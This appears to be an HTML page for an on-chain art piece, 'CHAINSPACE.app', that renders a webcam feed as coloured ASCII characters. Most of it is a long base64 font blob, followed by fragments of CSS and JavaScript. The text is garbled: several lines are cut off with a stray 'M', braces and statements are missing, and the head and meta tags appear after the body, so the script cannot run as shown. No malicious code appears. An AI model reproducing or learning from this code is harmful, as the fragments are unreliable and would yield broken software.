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) format('woff');
  font-weight: normal;
  font-style: normal;
    text-align: center;
    overflow: hidden;
    background: #eaeaea;
    align-items: center;
    justify-content: center;
  body.mobile #text-video {
    font-family: 'Noto Mathcastles Remix', monospace;
    pointer-events: none;
    justify-content: center;
    align-items: center;
    transform: scaleX(-1);
    -webkit-transform: scaleXM
    background: #0000ff;
    font-size: 16px;
    justify-content: center;
    transform: scaleX(-1);
    -webkit-transform: scaleX(-1);
    cursor: pointer;
    justify-content: center;
    pointer-events: none;
    background: #fff;
    border: 1px solid #111;
    padding: 3px 10px;
    font-family: monospace;
    cursor: pointer;
    outline: inherit;
    border-radius: 3px;
    flex-direction: column;
    align-items: center;
    justify-content: center;
    font-family: monospace;
    text-align: center;
    margin-top: 20px;
    margin-bottom: 4px;
    background: #222;
    border-radius: 20px;
    box-shadow: 0 0 16px 0 rgba(0, 0, 0, 0.5);
    margin-bottom: 0;
    font-size: 13px;
  <div id="wrapper">
      <video id="video">Portal is closed.</video>
      <canvas id="canvas-video"></canvas>
    <div id="frame">
      <div id="text-video"></div>
      <div id="header">
 You are the art in Chainspace.app
    <button id="stop">Wave</button>
    function run() {
      function isMobM
        return (typeof window.orientation !== "undefined") || (navigator.userAgent.indexOf('IEMobile') !== -1);
      const video = document.getElementById('video')
      video.setAttribute('autoplay', '');
      video.setAttribute('muted', '');
      video.setAttribute('playsinline', '')
      const textVideo = document.getElementById('text-video')
      const canvas = document.getElementById('canvas-video')
      const ctx = canvas.getContext('2d', { willReadFrequently: true });
      let cyclerEnabled = false;
      let cycler = 0;
      let isMobile = isMobileDevice();
      const chars = [..."
      const colors = ["#ff4fe2", "#f8f7ff", "#ff4fe2", "#ff4fe2", "#ff4fe2", "#ff4fe2", "#ff4fe2", "#ff4fe2", "#f8f7ff", "#0000ff", ];
      let running = true;
      function setCanvasSize() {
        w = Math.min(window.innerWidth, 450);
        h = Math.min(window.innerHeight, isMobileDevice() ? 600 : 450);
       height = Math.floor(h / 10);
        width = Math.floor(w / 6.9);
      let resizeTimeout;
      window.onresize = function () {
        clearTimeout(resizeTimeout);
        resizeTimeout = setTimeout(setCanvasSize, 100);
      const init = () => {
        setCanvasSize();
        document.body.classList.add(isMobile ? 'mobile' : null)
        navigator.mediaDevices.getUserMedia({ video: true, audio: false })
          .then(function (stream) {
            video.srcObject = stream;
          .catch(function (err) {
            running = false;
      const render = (ctx) => {
        if (width && height) {
          canvas.width = width;
          canvas.height = height;
          ctx.drawImage(video, 0, 0, width, height);
      const getPixelsGreyScale = (ctx) => {
        const imageData = ctx.getImageData(0, 0, canvas.width, canvas.height);
        const data = imageData.data;
        const res = M
new Array(height).fill(0).map(() => []);
        for (let i = 0, c = 0; i < data.length; i += 4) {
          const avg = (data[i] + data[i + 1] + data[i + 2]) / 3;
          let curr = res[row]
          curr.push(avg)
          if (c < width) {
          if (c === width) {
            row += 1
        if (isMobile) {
          return res.map(row => row.slice(row.length / 4, row.length - row.length / 4));
    const getCharByScale = (scale) => {
        const val = Math.floor((scale + cycler) / 255 * (chars.length));
        return chars[val % chars.length];
      const getColorByScale = (scale) => {
        const val = Math.floor((scale + cycler) / 255 * (colors.length));
        return colors[val % colors.length];
      const renderText = (node, textDarkScale) => {
        let gap = isMobileDevice() ? 15 : 10;
        const gridElem = document.createElement('div');
        gridElem.className = 'M
        gridElem.style.gridTemplateColumns = `repeat(${textDarkScale[0].length}, ${gap}px)`;
        gridElem.style.gridTemplateRows = `repeat(${textDarkScale.length}, ${gap}px)`;
        for (let i = 0; i < textDarkScale.length; i++) {
          for (let k = 0; k < textDarkScale[i].length; k++) {
            const textElem = document.createElement('p');
            textElem.style.color = getColorByScale(textDarkScale[i][k]);
            textElem.innerHTML = getCharByScale(textDarkScale[i][k]);
gridElem.appendChild(textElem);
        node.textContent = "";
        node.appendChild(gridElem);
      const frame = () => requestAnimationFrame(() => {
        const chars = getPixelsGreyScale(ctx)
        renderText(textVideo, chars)
        if (running) {
        if (cyclerEnabled) {
      document.getElementById('stop').addEventListener('click', (e) => {
   running = !running
        if (running) {
      document.getElementById('text-video').onclick = () => {
        cyclerEnabled = !cyclerEnabled;
    window.addEventListener('DOMContentLoaded', () => {
text/html;charset=utf-8
a hyperportal inscribed on-chain
enter at your own risk
Conjured by el_ranye x @timshelxyz
  * Mathcastles Studios (0x113d & xaltgeist)
  * Aleksandr Kubarskii
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width,user-scalable=no,initial-scale=1,maximum-scale=1,minimum-scale=1">
  <meta http-equiv="X-UA-Compatible" content="ie=edge">
  <title>CHAINSPACE.app</title>
  font-family: 'Noto Mathcastles Remix';
  src: url(data:application/font-woff2;charset=utf-8;base64,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
